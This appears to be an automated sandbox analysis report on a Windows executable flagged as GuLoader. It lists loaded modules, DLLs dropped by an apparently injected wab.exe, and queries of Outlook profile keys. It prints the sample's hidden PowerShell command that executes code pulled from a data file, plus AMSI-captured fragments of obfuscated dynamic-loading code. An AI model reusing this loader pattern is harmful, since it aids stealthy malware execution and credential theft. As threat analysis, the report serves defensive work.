Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\SN890156.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: SN890156.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000002.00000002.2499769943.0000000008C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdbGCTL source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbUGP source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.2499769943.0000000008C91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.i386.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdbGCTL source: wab.exe, 00000005.00000002.2678021267.0000000024780000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: tem.Core.pdbu source: powershell.exe, 00000002.00000002.2499769943.0000000008C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: wab.exe, 00000005.00000002.2677923298.000000002467C000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: indows\System.Core.pdbrdQ source: powershell.exe, 00000002.00000002.2499769943.0000000008C00000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000002.00000002.2500281603.000000000BEA2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Hartling $Hypsiprymnusttesteringen $Jagers), (Produktionsomkostning @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Toadish = [AppDomain]::CurrentDomain.Ge
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Ethize)), $Cavitates).DefineDynamicModule($Lucrific, $false).DefineType($Bangladeshs, $Slesvigerens, [System.MulticastDelegate])$Opvik

Suspicious powershell command line found

Source: C:\Users\user\Desktop\SN890156.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar';$Pegboard=$Matchsafe.SubString(53540,3);.$Pegboard($Matchsafe)"
Source: C:\Users\user\Desktop\SN890156.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Matchsafe=Get-Content 'C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Brugervenlige205.gar';$Pegboard=$Matchsafe.SubString(53540,3);.$Pegboard($Matchsafe)"			Jump to behavior

Source: api-ms-win-core-util-l1-1-0.dll.5.dr

Static PE information: 0xAB6603D9 [Mon Feb 14 06:53:13 2061 UTC]

Source: msvcp140.dll.5.dr

Static PE information: section name: .didat

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_05222149 push ebx; retf

2_2_0522214A

Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\msvcp140.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Palaeodictyopteron\testudskrivningsfaciliteters\Marinerede\Assentoft\SN890156.exe	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\nss3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\softokn3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\freebl3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\vcruntime140.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\nssdbm3.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\mozglue.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\ucrtbase.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Program Files (x86)\Windows Mail\wab.exe	File created: C:\Users\user\AppData\Local\Temp\DB6E832C\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\SN890156.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
